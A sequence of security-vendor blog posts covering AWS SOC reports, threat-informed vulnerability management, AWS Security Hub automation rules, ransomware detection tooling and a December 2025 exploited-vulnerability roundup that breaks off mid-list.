Amazon Web Services (AWS) is pleased to announce that the Fall 2025 System and Organization Controls (SOC) 1, 2, and 3 reports are now available. The reports cover 185 services over the 12-month period from October 1, 2024–September 30, 2025, giving customers a full year of assurance. These reports demonstrate our continuous commitment to adhering to the heightened expectations of cloud service providers.

Customers can download the Fall 2025 SOC 1 and 2 reports through AWS Artifact, a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact. The SOC 3 report can be found on the AWS SOC Compliance Page.

AWS strives to continuously bring services into the scope of its compliance programs to help customers meet their architectural and regulatory needs. You can view the current list of services in scope on our Services in Scope page. As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback about SOC compliance.

To learn more about AWS compliance and security programs, see AWS Compliance Programs. As always, we value feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below.

Key Takeaways:

• Traditional vulnerability management tools can no longer keep up with the speed of modern exploitation—threat context is now mandatory.
• Threat and Vulnerability Management (TVM) systems unify asset discovery, vulnerability data, and real-time external threat intelligence to prioritize real risk.
• Static CVSS scores fail to reflect exploitation likelihood; intelligence-driven, dynamic risk scoring is essential in 2026.
• Organizations that integrate vulnerability intelligence and attack surface intelligence reduce remediation time and security waste, enhancing detection and remediation while reducing alert fatigue.

Why Threat and Vulnerability Management Must Evolve in 2026

Security teams currently find themselves at a crossroads. Year over year, CVE volumes continue to surge higher and higher. Exploitation is faster, more automated, and more targeted, meaning attacks are growing in volume, velocity, and sophistication alike. As a result, security teams are expected to “patch faster” with fewer resources and can no longer realistically keep up with this ever-rising tide of threats.

Thanks to these forces, security teams have found themselves in a state of affairs in which vulnerability management has become an exercise in sheer volume, not risk. Day in and day out, teams are overwhelmed by alerts that lack real-world context, making it all but impossible to assess the actual degree of risk.

Thankfully, there is a solution. Threat-informed vulnerability management (TVM) has emerged to counteract this trend, enabling security teams to intelligently address weaponized vulnerabilities, zero-day exploits, and supply chain and cloud-native risk. All this comes along with much-needed relief from creeping alert-fatigue.

In 2026, effective cybersecurity programs will be defined not by how many vulnerabilities they detect but by how precisely they understand, prioritize, and neutralize real threats using intelligence-driven TVM systems.

The Core Problem: Alert Fatigue and Prioritization Failure

As it stands today, the explosion in disclosed vulnerabilities (CVEs) has outpaced humans’ abilities to triage and manage patching effectively. Today, the vast majority of organizations are incapable of remediating more than a fraction of the total identified issues affecting the ecosystem.

Traditionally, using a standard CVSS (Common Vulnerability Scoring System) was enough to overcome these challenges of prioritization. CVSS is an open, standardized framework used to assess the severity of security vulnerabilities by assigning a numerical score based on factors like exploitability, impact, and scope. Organizations use CVSS scores to prioritize remediation and compare vulnerabilities consistently across systems and vendors.

However, CVSS only measures theoretical severity, not exploitation likelihood. It misses critical pieces of context for prioritization decisions such as:

• Is exploit code available?
• Is the vulnerability actively exploited?
• Are threat actors discussing or operationalizing it?

As a result, high-severity CVEs that pose little real-world risk continue to consume time and resources, leading us back once again to the issue of alert fatigue and the inability to effectively triage and patch the most pressing vulnerabilities.

At the same time, we are seeing modern organizations struggle with a “silo problem,” in which security, IT, and CTI (cyber threat intelligence) teams operate independently and with limited visibility and collaboration between one another. In many organizations, each of these teams ends up using different tools, establishing different priorities, sharing findings infrequently if at all, and adopting entirely different “risk languages” through which they understand, prioritize, and address threats.

Taken broadly, this leaves organizations woefully lacking a unified, intelligence-driven view of risk. Without this, many adopt a de facto policy of “patch everything”. And it comes with significant costs, including:

• Operational drag and burnout
• Delayed remediation of truly dangerous vulnerabilities
• Increased business risk despite increased effort
• Fractured security operations

Both individually, and in the aggregate, these side-effects come at a significant detriment to organizational security. And as the number and diversity of CVEs continues to expand, the greater that cost becomes. Moving forward, organizations must find a better way.

The Evolving Threat Landscape Demands a New Approach

Today’s ever-changing landscape means that organizations must evolve along with it or risk falling dangerously behind. The rise of rapidly weaponized vulnerabilities (i.e., known software weaknesses that have moved beyond disclosure and into active attacker use) reflects a fundamental shift in how quickly and deliberately adversaries turn CVEs into operational threats. Today, the gap between disclosure, proof-of-concept release, and active exploitation has collapsed from months to days (or even hours), driven largely by exploit marketplaces, automated scanning, and widely shared tooling.

Attackers increasingly prioritize vulnerabilities that are easy to exploit, broadly applicable across cloud services, edge devices, and common dependencies, and capable of delivering fast returns. Once weaponized, these vulnerabilities manifest not as theoretical risk but as active intrusion campaigns, ransomware operations, and opportunistic internet-wide exploitation, making threat context essential for distinguishing true danger from background noise.

At the same time that weaponization is accelerating, attack surfaces are expanding. The average attack surface today is expanding and fragmenting across hybrid and multi-cloud environments, all of which is worsened by SaaS sprawl, shadow IT, and third-party and supply chain exposure. In this environment, it is absolutely critical that security teams have a clear understanding of vulnerabilities vs. threats, and work to establish an integrated approach between the two.

In short, a vulnerability is a technical weakness, while a threat is an actor, campaign or event at work exploiting that weakness. In order to be truly effective, modern threat vulnerability management (TVM) systems must merge both concepts to reflect real risk and separate signal from noise.

What Is Threat and Vulnerability Management (TVM)?

Threat and Vulnerability Management (TVM) — also called Threat-Informed Vulnerability Management — is a continuous, intelligence-driven process that prioritizes remediation based on three core variables:

• Active exploitation
• Threat actor behavior
• Asset criticality

TVM differs from traditional vulnerability management (VM) in a number of critical ways. Traditional VM relies on periodic scans, static severity scoring, and a largely reactive patching process. TVM, on the other hand, employs continuous monitoring, external threat intelligence enrichment, and close-loop remediation and validation.

This continuous, context-rich approach is foundational for modern security programs. Rather than inundating security teams with decontextualized CVEs and indiscriminate patching, modern TVM systems align security efforts with attacker reality. Reactive patching is replaced with proactive, risk-based decision-making, and as a result, organizations are able to reduce noise while simultaneously increasing the impact of their security operations.

The Five Core Pillars of Modern TVM Systems

As the speed and breadth of today’s threats continue to grow, traditional VM, being fundamentally reactive in nature, is no longer enough to keep up. In a world where vulnerabilities are exposed by the day, TVM offers much-needed efficiency, intelligence, and proactiveness. However, not all TVM systems are created equally. Here are five core pillars of effective modern TVM systems to help you evaluate and assess solutions on the market.

1. Continuous Asset Discovery & Inventory

Modern TVM systems are invaluable in that they provide full visibility across the entirety of an organization’s growing and fragmented attack surface. This includes external-facing assets, shadow IT, and cloud and SaaS environments alike. By providing continuous asset discovery and a timely, up-to-date inventory of one’s assets, TVM systems allow for real-time, comprehensive, attack-surface management.

Remember, you can’t defend what you can’t see. That’s why attack surface management (ASM) is a prerequisite for effective TVM. Without accurate, up-to-date asset inventories, vulnerability data is incomplete and misleading. Continuous discovery ensures defenders see their environment the way attackers do.

2. Vulnerability Assessment & Scoring

TVM goes beyond internal scanning tools to identify vulnerabilities exposed to the internet and reassess them continuously as environments change. This includes tracking misconfigurations, outdated services, and newly introduced exposure, not just known CVEs.

3. External Threat Context Enrichment

This is where TVM fundamentally diverges from legacy approaches. External threat intelligence enriches vulnerability data with insight from dark web and criminal forums, exploit marketplaces, malware telemetry, and active attack campaigns.

Vulnerabilities are mapped to known threat actors, active exploitation, and MITRE ATT&CK® techniques, ultimately transforming raw findings into actionable intelligence.

4. Risk-Based Prioritization (RBVM)

Risk-based vulnerability management prioritizes issues based on the probability of exploitation, asset importance, and threat actor interest. This shifts the focus from “most severe” to “most dangerous,” enabling teams to address the vulnerabilities that pose the greatest immediate risk to their organizations.

5. Automated Remediation & Verification

Modern TVM integrates directly with IT and SecOps workflows, pushing prioritized findings into ticketing and automation platforms. Just as importantly, it verifies remediation to confirm that patches were applied and exposure was actually reduced, creating a continuous feedback loop.

These five pillars of effective TVM systems come together to create a whole that is greater than the sum of its parts. These systems, unlike their predecessors, are designed to continuously monitor and triage real threats and vulnerabilities in context and ensure awareness and proactive mitigation without the risk of burn-out and alert fatigue.

Stop Patching Everything — Use Intelligence to Prioritize Real Risk

The scale of the CVE problem is overwhelming. Tens of thousands of vulnerabilities are disclosed each year, yet only a small fraction are ever exploited in the wild. Treating them all as equally urgent is not just inefficient — it’s dangerous.

Vulnerability intelligence changes the equation by tracking a CVE across its full lifecycle, from initial disclosure to weaponization, exploitation, and criminal adoption. This enables dynamic risk scoring that reflects real-world conditions rather than static assumptions.

Dynamic risk scoring incorporates evidence of active exploitation, availability of exploit code, dark web chatter, and threat actor interest. As conditions change, so does the risk score, ensuring prioritization remains aligned with attacker behavior.

The operational impact is significant. Security teams can focus remediation on the top 1% of vulnerabilities that pose immediate risk, respond faster, reduce operational cost, and strengthen overall security posture.

See Your Risk Like an Attacker: The Full Attack Surface View

In today’s threat landscape, security teams must recast the way they envision their roles. Rather than operating in a reactive, defensive manner at all times, security teams should think more like their adversaries, taking a complete view of their attack surface and leveraging modern tools and technologies to ensure intelligent, prioritized defenses. The following three key concepts will help you take on that mentality.

1. The Visibility Gap: Unknown assets create unknown risk. Traditional scanners often miss orphaned domains, misconfigured cloud services, and forgotten infrastructure — precisely the assets attackers look for first.
2. Attack Surface Intelligence Explained: Attack surface intelligence provides continuous mapping of domains, IPs, cloud assets, and external services. It identifies exposures attackers see before defenders do, enabling proactive remediation rather than reactive cleanup.
3. Connecting the Dots with Vulnerability Tools: When integrated with vulnerability scanners like Qualys and Tenable, attack surface intelligence provides a unified, prioritized view of exposure. Intelligence-driven platforms serve as a single source of truth for risk decisions, enabling teams to connect vulnerabilities to real-world exposure and threat activity.

Three Strategic Recommendations for Security Leaders

Most organizations remain behind the curve in threat and vulnerability management. Knowing what we know now, there are three strategic steps security leaders can take to reclaim control.

1. Bridge the Gap Between Security and IT

Establish a shared, intelligence-driven risk language. Align SLAs with real-world risk rather than raw severity scores, ensuring remediation efforts focus on what matters most.

2. Embrace Automation and Workflow Integration

Push prioritized findings directly into platforms like ServiceNow and SOAR tools. Reducing manual handoffs accelerates remediation and minimizes delays.

3. Measure What Matters — Time-to-Remediate (TTR)

Shift KPIs toward time-to-remediate actively exploited vulnerabilities and reduction in exposure windows. These metrics demonstrate real ROI and security impact.

The Path Forward Is Threat-Informed: Strengthen Your Threat and Vulnerability Strategy

Volume-based vulnerability management is no longer viable. As we progress through 2026, threat context is not optional. It is foundational.

Future-ready security programs are intelligence-led, automation-enabled, and attacker-aware. Recorded Future sits at the center of this shift, providing the intelligence backbone required to move from reactive patching to proactive risk reduction.

Explore how Recorded Future Vulnerability Intelligence and Attack Surface Intelligence can help your organization transition from alert-driven vulnerability management to intelligence-driven risk reduction.

By unifying threat intelligence, vulnerability data, and attack surface visibility, organizations can reduce alert fatigue, prioritize what truly matters, and proactively harden defenses against real-world threats before attackers exploit them.

A new version of AWS Security Hub, is now generally available, introducing new ways for organizations to manage and respond to security findings. The enhanced Security Hub helps you improve your organization’s security posture and simplify cloud security operations by centralizing security management across your Amazon Web Services (AWS) environment. The new Security Hub transforms how organizations handle security findings through advanced automation capabilities with real-time risk analytics, automated correlation, and enriched context that you can use to prioritize critical issues and reduce response times. Automation also helps ensure consistent response procedures and helps you meet compliance requirements.

AWS Security Hub CSPM (cloud security posture management) is now an integral part of the detection engines for Security Hub. Security Hub provides centralized visibility across multiple AWS security services to give you a unified view of your cloud environment, including risk-based prioritization views, attack path visualization, and trend analytics that help you understand security patterns over time.

This is the third post in our series on the new Security Hub capabilities. In our first post, we discussed how Security Hub unifies findings across AWS services to streamline risk management. In the second post, we shared the steps to conduct a successful Security Hub proof of concept (PoC).

In this post, we explore how you can enhance your security operations using AWS Security Hub automation rules and response automation.

We walk through the setup and configuration of automation rules, share best practices for creating effective response workflows, and provide real-world examples of how these tools can be used to automate remediation, escalate high-severity findings, and support compliance requirements.

Security Hub automation enables automatic response to security findings to help ensure critical findings reach the right teams quickly, so that they can reduce manual effort and response time for common security incidents while maintaining consistent remediation processes.

Note: Automation rules evaluate new and updated findings that Security Hub generates or ingests after you create them, not historical findings. These automation capabilities help ensure critical findings reach the right teams quickly.

Why automation matters in cloud security

Organizations often operate across hundreds of AWS accounts, multiple AWS Regions, and diverse services—each producing findings that must be triaged, investigated, and acted upon. Without automation, security teams face high volumes of alerts, duplication of effort, and the risk of delayed responses to critical issues.

Manual processes can’t keep pace with cloud operations; automation helps solve this by changing your security operations in three ways. Automation filters and prioritizes findings based on your criteria, showing your team only relevant alerts. When issues are detected, automated responses trigger immediately—no manual intervention needed.

If you’re managing multiple AWS accounts, automation applies consistent policies and workflows across your environment through centralized management, shifting your security team from chasing alerts to proactively managing risk before issues escalate.

Designing routing strategies for security findings

With Security Hub configured, you’re ready to design a routing strategy for your findings and notifications. When designing your routing strategy, ask whether your existing Security Hub configuration meets your security requirements. Consider whether Security Hub automations can help you meet security framework requirements like NIST 800-53 and identify KPIs and metrics to measure whether your routing strategy works.

Security Hub automation rules and automated responses can help you meet the preceding requirements, however it’s important to understand how your compliance teams, incident responders, security operations personnel, and other security stakeholders operate on a day-to-day basis. For example, do teams use the AWS Management Console for AWS Security Hub regularly? Or do you need to send most findings downstream to an IT systems management (ITSM) tool (such as Jira or ServiceNow) or third-party security orchestration, automation, and response (SOAR) platforms for incident tracking, workflow management, and remediation?

Next, create and maintain an inventory of critical applications. This helps you adjust finding severity based on business context and your incident response playbooks.

Consider the scenario where Security Hub identifies a medium-severity vulnerability on an Elastic Compute Cloud instance. In isolation, this might not trigger immediate action. When you add business context—such as strategic objectives or business criticality—you might discover that this instance hosts a critical payment processing application, revealing the true risk. By implementing Security Hub automation rules with enriched context, this finding can be upgraded to critical severity and automatically routed to ServiceNow for immediate tracking. In addition, by using Security Hub automation with Amazon EventBridge, you can trigger an AWS Systems Manager Automation document to isolate the EC2 instance for security forensics work to then be carried out.

Because Security Hub offers OCSF format and schema, you can use the extensive schema elements that OCSF offers you to target findings for automation and help your organization meet security strategy requirements.

Example use cases

Security Hub automation supports many use cases. Talk with your teams to understand which fit your needs and security objectives. The following are some examples of how you can use security hub automation:

Automated finding remediation

Use automated finding remediation to automatically fix security issues as they’re detected.

Supporting patterns:

• Direct remediation: Trigger AWS Lambda functions to fix misconfigurations
• Resource tagging: Add tags to non-compliant resources for tracking
• Configuration correction: Update resource configurations to match security policies
• Permission adjustment: Modify AWS Identity and Access Management (IAM) policies to remove excessive permissions

Example:

• IF finding.type = “Software and Configuration Checks/Industry and Regulatory Standards/CIS AWS Foundations Benchmark”
• AND finding.title CONTAINS “S3 buckets should have server-side encryption enabled”
• THEN invoke Lambda function “enable-s3-encryption”

Security finding workflow integration

Integrate findings into your workflow by routing them to the appropriate teams and systems.

Supporting patterns:

• Ticket creation: Generate JIRA or ServiceNow tickets for manual review
• Team assignment: Route findings to specific teams based on resource ownership
• Severity-based routing: Direct critical findings to incident response, others to regular queues
• Compliance tracking: Send compliance-related findings to GRC systems

Example:

• IF finding.severity = “CRITICAL” AND finding.productName = “Amazon GuardDuty”
• THEN send to SNS topic “security-incident-response-team”
• ELSE IF finding.productFields.resourceOwner = “payments-team”
• THEN send to SNS topic “payments-security-review”

Automated finding enrichment

Use finding enrichment to add context to findings to improve triage efficiency.

Supporting patterns:

• Resource context addition: Add business context, owner information, and data classification
• Historical analysis: Add information about previous similar findings
• Risk scoring: Calculate custom risk scores based on asset value and threat context
• Vulnerability correlation: Link findings to known Common Vulnerabilities and Exposures (CVEs) or threat intelligence

Example:

• IF finding.type CONTAINS “Vulnerability/CVE”
• THEN invoke Lambda function “enrich-with-threat-intelligence”

Custom security controls

Use custom security controls to meet organization-specific security requirements.

Supporting patterns:

• Custom policy enforcement: Check for compliance with internal standards
• Business-specific rules: Apply rules based on business unit or application type
• Compensating controls: Implement alternatives when primary controls can’t be applied
• Temporary exceptions: Handle approved deviations from security standards

Example:

• IF finding.resourceType = “AWS::EC2::Instance” AND
  • finding.resourceTags.Environment = “Production” AND
  • finding.title CONTAINS “vulnerable software version”
• THEN invoke Lambda function “enforce-patching-policy”

Compliance reporting and evidence collection

Streamline compliance documentation and evidence gathering.

Supporting patterns:

• Evidence capture: Store compliance evidence in designated S3 buckets
• Audit trail creation: Document remediation actions for auditors
• Compliance dashboarding: Update compliance status metrics
• Regulatory mapping: Tag findings with relevant compliance frameworks

Example:

• IF finding.complianceStandards CONTAINS “PCI-DSS”
• THEN invoke Lambda function “capture-pci-compliance-evidence”
• AND send to SNS topic “compliance-team-notifications”

Set up Security Hub automation

In this section, you’ll walk through enabling up Security Hub and related services and creating automation rules.

Step 1: Enable Security Hub and integrated services

As the first step, follow the instructions in Enable Security Hub.

Note: Security Hub is powered by Amazon GuardDuty, Amazon Inspector, AWS Security Hub CSPM, and Amazon Macie, and these services also need to be enabled to get value from Security Hub.

Step 2: Create automation rules to update finding details and third-party integration

After Security Hub collects findings you can create automation rules to update and route the findings to the appropriate teams. The steps to create automation rules that update finding details or to a set up a third-party integration—such as Jira or ServiceNow—based on criteria you define can be found in Creating automation rules in Security Hub.

With automation rules, Security Hub evaluates findings against the defined rule and then makes the appropriate finding update or calls the APIs to send findings to Jira or ServiceNow. Security Hub sends a copy of every finding to Amazon EventBridge so that you can also implement your own automated response (if needed) for use cases outside of using Security Hub automation rules.

In addition to sending a copy of every finding to EventBridge, Security Hub classifies and enriches security findings according to business context, then delivers them to the appropriate downstream services (such as ITSM tools) for fast response.

Best practices

AWS Security Hub automation rules offer capabilities for automatically updating findings and integrating with other tools. When implementing automation rules, follow these best practices:

• Centralized management: Only the Security Hub administrator account can create, edit, delete, and view automation rules. Ensure proper access control and management of this account.
• Regional deployment: Automation rules can be created in one AWS Region and then applied across configured Regions. When using Region aggregation, you can only create rules in the home Region. If you create an automation rule in an aggregation Region, it will be applied in all included Regions. If you create an automation rule in a non-linked Region, it will be applied only in that Region. For more information, see Creating automation rules in Security Hub.
• Define specific criteria: Clearly define the criteria that findings must match for the automation rule to apply. This can include finding attributes, severity levels, resource types, or member account IDs.
• Understand rule order: Rule order matters when multiple rules apply to the same finding or finding field. Security Hub applies rules with a lower numerical value first. If multiple findings have the same RuleOrder, Security Hub applies a rule with an earlier value for the UpdatedAt field first (that is, the rule which was most recently edited applies last). For more information, see Updating the rule order in Security Hub.
• Provide clear descriptions: Include a detailed rule description to provide context for responders and resource owners, explaining the rule’s purpose and expected actions.
• Use automation for efficiency: Use automation rules to automatically update finding fields (such as severity and workflow status), suppress low-priority findings, or create tickets in third-party tools such as Jira or ServiceNow for findings matching specific attributes.
• Consider EventBridge for external actions: While automation rules handle internal Security Hub finding updates, use EventBridge rules to trigger actions outside of Security Hub, such as invoking Lambda functions or sending notifications to Amazon Simple Notification Service (Amazon SNS) topics based on specific findings. Automation rules take effect before EventBridge rules are applied. For more information, see Automation rules in EventBridge.
• Manage rule limits: This is a maximum limit of 100 automation rules per administrator account. Plan your rule creation strategically to stay within this limit.
• Regularly review and refine: Periodically review automation rules, especially suppression rules, to ensure they remain relevant and effective, adjusting them as your security posture evolves.

Conclusion

You can use Security Hub automation to triage, route, and respond to findings faster through a unified cloud security solution with centralized management. In this post, you learned how to create automation rules that route findings to ticketing systems integrations and upgrade critical findings for immediate response. Through the intuitive and flexible approach to automation that Security Hub provides, your security teams can make confident, data-driven decisions about Security Hub findings that align with your organization’s overall security strategy.

With Security Hub automation features, you can centrally manage security across hundreds of accounts while your teams focus on critical issues that matter most to your business. By implementing the automation capabilities described in this post, you can streamline response times at scale, reduce manual effort, and improve your overall security posture through consistent, automated workflows.

If you have feedback about this post, submit comments in the Comments section. If you have questions about this post, start a new thread on AWS Security, Identity, and Compliance re:Post or contact AWS Support.
 

Key Takeaways

• Effective ransomware detection requires three complementary layers: endpoint and extended detection and response (EDR/XDR) to monitor device-level activity, network detection and response (NDR) to catch lateral movement, and threat intelligence tools to provide context that enables efficient prioritization.
• The most valuable detection happens before ransomware encryption begins. Tools must identify precursor behaviors like reconnaissance, credential theft, and data staging rather than waiting for known indicators of compromise.
• Intelligence quality determines detection quality: even sophisticated security tools require real-time threat data about active ransomware campaigns, attacker infrastructure, and current tactics, techniques, and procedures (TTPs) to distinguish genuine threats from noise.
• Recorded Future strengthens the entire detection stack by providing organization-specific threat intelligence, early detection capabilities (in some cases, identifying victims up to 30 days before public extortion), and vulnerability intelligence focused on what ransomware groups are actively exploiting.

Introduction

The ransomware playbook has fundamentally changed. Instead of casting wide nets with opportunistic phishing campaigns, attackers now focus on big-game hunting: targeting high-value enterprises with data theft and double or triple extortion tactics. Threat actors purchase pre-compromised access from brokers, exploit newly disclosed vulnerabilities within hours, and use automation to compress weeks-long campaigns into days.

The results are stark. Ransomware now appears in 44% of breaches, up from 32% the prior year, according to the 2025 Verizon Data Breach Investigations Report. Traditional signature-based detection tools often can't keep pace because ransomware groups continuously rotate their infrastructure, modify malware variants, and adopt new tactics faster than defenses can update. By the time a signature is written, the threat has already evolved.

This gap has created demand for a different approach: intelligence-driven ransomware detection. Rather than waiting for known indicators of compromise, these tools identify the precursor behaviors that happen before encryption (e.g. reconnaissance, credential theft, lateral movement, privilege escalation, and data staging).

The key is continuous external intelligence that maps what's happening in your environment to active campaigns and specific ransomware families operating in the wild.

The most effective defense combines three layers: endpoint and extended detection and response (EDR/XDR) to catch suspicious behaviors on devices, network detection and response (NDR) with deception technology to spot lateral movement, and threat intelligence tools that provide the real-time context tying it all together. When these tools share a common intelligence foundation, they can reveal malicious intent well before encryption begins.

The Ransomware Detection Tool Landscape: Three Pillars of Defense

Effective ransomware detection generally requires three complementary tool categories, each targeting different stages of an attack.

1. Endpoint and Extended Detection and Response (EDR/XDR) Tools

EDR and XDR platforms form the first line of defense, monitoring individual devices and user activity for signs of compromise.

Core Functionality

EDR and XDR solutions monitor endpoints for suspicious behaviors like privilege escalation, credential dumping, unusual process creation, and bulk file modifications. When they detect threats, these tools automatically isolate devices, roll back changes, and contain threats, cutting response time from hours to seconds.

How Threat Intelligence Enhances EDR/XDR

Threat intelligence connects endpoint activity to active campaigns in the wild. When an EDR tool flags suspicious activity, intelligence context reveals whether it matches known campaigns from groups like LockBit, ALPHV/BlackCat, or BlackBasta. This can dramatically reduce false positives by distinguishing unusual-but-legitimate administrative work from activity aligned with active ransomware operations.

Example Tools

• CrowdStrike Falcon delivers strong behavioral detection capabilities tied to comprehensive actor profiling. The platform's threat graph continuously correlates endpoint telemetry with global threat intelligence, enabling rapid identification of ransomware precursors.
• Microsoft Defender XDR integrates telemetry across identity systems, endpoints, email, and cloud applications. This unified visibility helps security teams identify cross-domain attack patterns that indicate ransomware preparation, such as credential theft followed by lateral movement.
• SentinelOne employs behavioral AI to detect malicious activity and offers automated rollback features that can reverse ransomware encryption and file modifications, effectively restoring systems to their pre-attack state.

2. Network Detection and Response (NDR) Tools

While EDR focuses on individual endpoints, NDR tools monitor the network layer to catch attackers as they move between systems.

Core Functionality

NDR platforms watch internal network traffic to catch attackers moving laterally, scanning for targets, or accessing resources they shouldn't. The more advanced versions include deception technology like honeypots, fake credentials, and decoy systems that look like attractive targets. When attackers interact with these decoys during reconnaissance, security teams get early warnings before any real damage occurs.

How Threat Intelligence Improves NDR and Deception

Threat intelligence helps organizations customize deception environments based on active ransomware groups in their industry. When NDR tools spot anomalies such as unusual file sharing, unexpected queries, or abnormal transfers, intelligence matches these to current attack techniques, distinguishing administrative work from reconnaissance patterns before data staging begins.

Example Tools

• Vectra AI specializes in detecting lateral movement and privilege misuse by correlating network behaviors with active attacker tradecraft. The platform's AI-driven detection identifies subtle deviations from normal network patterns that indicate ransomware reconnaissance.
• ExtraHop Reveal(x) provides real-time network visibility that identifies reconnaissance activity and command-and-control (C2) communications. The platform's deep packet inspection capabilities reveal malicious traffic even when encrypted or obfuscated.
• Illusive (now part of Zscaler) deploys deception technology specifically tuned to adversary behaviors. The platform's decoys and fake credentials create a minefield for attackers, triggering high-confidence alerts when threat actors interact with deception assets.

3. Threat Intelligence Tools

The third pillar provides the context that makes endpoint and network detection tools more accurate and actionable.

Core Functionality

Threat intelligence tools pull together global threat data from sources like dark web forums, malware repositories, scanning activity, and criminal infrastructure. They enrich alerts from your other security tools with context about who's behind an attack, which campaign it's part of, and what techniques the attackers are likely to use next.

How Threat Intelligence Strengthens Ransomware Detection

These tools deliver several critical capabilities that transform how security teams identify and respond to ransomware threats:

• Threat Mapping: Identifies whether your organization matches the targeting profile of active ransomware groups based on your industry, size, region, and technology stack. Specific operators are mapped using their TTPs to determine the intent and opportunity of carrying out a successful attack against your business.
• Infrastructure Tracking: Monitors ransomware operators' continuous infrastructure shifts in real-time, identifying new C2 servers, drop sites, and payment infrastructure as they emerge.
• Variant Identification: Rapidly analyzes and disseminates indicators when ransomware groups release new malware variants, enabling detection before signature-based systems receive updates.
• Exploitation Intelligence: Identifies specific CVEs and misconfigurations that attackers are actively weaponizing, moving vulnerability management from severity-score-driven to threat-driven prioritization.
• Risk Scoring: Provides real-time scores combining multiple intelligence signals—indicator prevalence, campaign association, TTP alignment—to guide analysts toward genuine threats rather than generic suspicious activity.

Example Tools

• Recorded Future delivers organization-specific threat intelligence powered by The Intelligence Graph and proprietary AI. The platform provides end-to-end visibility into exposures, while research from its Insikt Group enables early detection of ransomware activity, identifying potential victims up to 30 days before public extortion.
• Flashpoint specializes in deep and dark web intelligence, monitoring criminal forums, marketplaces, and chat channels where ransomware operators communicate, recruit, and trade access. This visibility into adversary communities provides early warnings about emerging threats and campaigns.
• Google Threat Intelligence (formerly Mandiant) combines frontline incident response insights with global threat tracking. The platform leverages intelligence from breach investigations to identify ransomware group behaviors and attack patterns as they emerge.

Choosing the Right Ransomware Detection Tools

Security leaders must distinguish between tools that reduce ransomware risk and those that add noise. The most effective tools share several characteristics.

Security leaders should prioritize:

• Pre-encryption visibility: Detect credential misuse, suspicious access, and lateral movement during reconnaissance and preparation phases when interventions are most effective.
• Context-rich alerts: Alerts should include TTPs, infrastructure associations, and known actor activity and explain not just what triggered an alert but why it matters.
• Integration maturity: Smooth data flow into SIEM, SOAR, and existing investigation workflows without creating siloed intelligence or blind spots.
• Operational efficiency: Tools should reduce alert noise, not add to it, decreasing time-to-detection and time-to-response.
• Relevance: Intelligence must map to current campaigns. Generic or stale indicators waste analyst time and create false confidence.
• Scalability: Handle hybrid environments spanning on-premises infrastructure, multiple cloud providers, and remote endpoints without performance degradation.

How Recorded Future Enables Early Ransomware Detection

The quality of threat intelligence directly determines detection effectiveness. Even sophisticated endpoint and network tools require high-fidelity, current threat data to generate value. Security teams have plenty of options for tools; the real challenge is addressing alert fatigue draining analyst time on false positives instead of credible threats.

Recorded Future functions as the continuous intelligence layer strengthening the entire detection stack. Rather than adding another alert-generating tool, it feeds existing security ecosystems with real-time context about ransomware operator behavior.

Real-Time Relevance Through SecOps Intelligence

Every alert that hits your SIEM or endpoint platform gets automatically enriched with real-time risk scores, associated malware and infrastructure, and links to known attacker techniques and campaigns. Security tools can immediately recognize whether an indicator matches an active ransomware operation, cutting triage time from hours to minutes.

Proactive Mitigation Through Vulnerability Intelligence

Recorded Future identifies which vulnerabilities ransomware groups are actually exploiting right now, not just which ones have the highest theoretical severity ratings. This distinction matters because most high-severity vulnerabilities never get exploited in the wild, while some medium-severity vulnerabilities become critical the moment ransomware operators weaponize them.

The platform shows you which vulnerabilities specific ransomware groups are targeting, where exploit code is available, and which vulnerabilities are generating buzz in criminal forums. This lets security teams prioritize patching based on what attackers are actually doing, focusing on the access vectors most likely to result in ransomware incidents.

Victimology and Anticipation

Intelligence about dark web chatter, leak site activity, and victimology patterns reveals which industries, geographies, and technologies are being targeted. When Recorded Future detects increased targeting of specific sectors, SOC analysts can anticipate attack paths, tighten access controls, and implement protective measures before campaigns reach their network.

This closes the gap between reconnaissance and encryption. Most traditional tools don't trigger alerts until ransomware starts encrypting systems, by which point attackers have already stolen data. Intelligence-driven detection can catch the reconnaissance, credential theft, and lateral movement phases that happen first, shifting your response window from reactive damage control to proactive early containment.

Shifting From Reactive Response to Intelligence-Led Prevention

No single tool stops ransomware. The strongest defense is an integrated ecosystem where endpoint detection, network monitoring, and threat analysis platforms work from the same intelligence foundation.

Intelligence elevates these tools from reactive detection to early recognition of adversary behavior during preparation and reconnaissance phases, enabling intervention before ransomware reaches its destructive phase. Organizations that build detection architecture on real-time threat intelligence will adapt as quickly as their adversaries, maintaining effective defenses as the threat landscape evolves.

December 2025 witnessed a dramatic 120% increase in high-impact vulnerabilities, with Recorded Future's Insikt Group® identifying 22 vulnerabilities requiring immediate remediation, up from 10 in November. The month was dominated by widespread exploitation of Meta's React Server Components flaw.

What security teams need to know:

• React2Shell pandemonium: CVE-2025-55182 triggered a global exploitation wave with multiple threat actors deploying diverse malware families
• China-nexus exploitation intensifies: Earth Lamia, Jackpot Panda, and UAT-9686 leveraged critical flaws for espionage operations
• Public exploits proliferate: Eleven of 22 vulnerabilities have proof-of-concept code available, accelerating exploitation timelines
• Legacy vulnerabilities resurface: CISA added 2018-2022 era flaws to its Known Exploited Vulnerabilities (KEV) catalog, highlighting persistent patch gaps

Bottom line: December's surge reflects both new zero-days and renewed interest in legacy vulnerabilities. React2Shell alone demonstrates how quickly modern web frameworks can become global attack vectors.

Quick Reference Table

All 22 vulnerabilities below were actively exploited in December 2025.

Table 1: List of vulnerabilities that were actively exploited in December based on Recorded Future data (Source: Recorded Future)

Key Trends in December 2025

Affected Vendors

• Fortinet continued vulnerability concerns with two critical authentication bypass flaws
• Google faced three vulnerabilities across Android (2) and Chromium (1) platforms
• Microsoft dealt with a Windows kernel use-after-free vulnerability
• Meta experienced the month's most impactful vulnerability with React2Shell
• Additional affected vendors: Array Networks, Gogs, Gladinet, ASUS, Cisco, Apple, SonicWall, WatchGuard, MongoDB, Digiever, Sierra Wireless, OSGeo, RARLAB, D-Link, and OpenPLC

Most Common Weakness Types

• CWE-22 – Path Traversal
• CWE-347 – Improper Verification of Cryptographic Signature
• CWE-416 – Use After Free
• CWE-434 – Unrestricted Upload of File with Dangerous Type
• CWE-787 – Out-of-bounds Write

Threat Actor Activity

React2Shell exploitation dominated December’s CVE activity:

• Threat actors observed to have exploited this vulnerability:
  • China-nexus actors Earth Lamia and Jackpot Panda
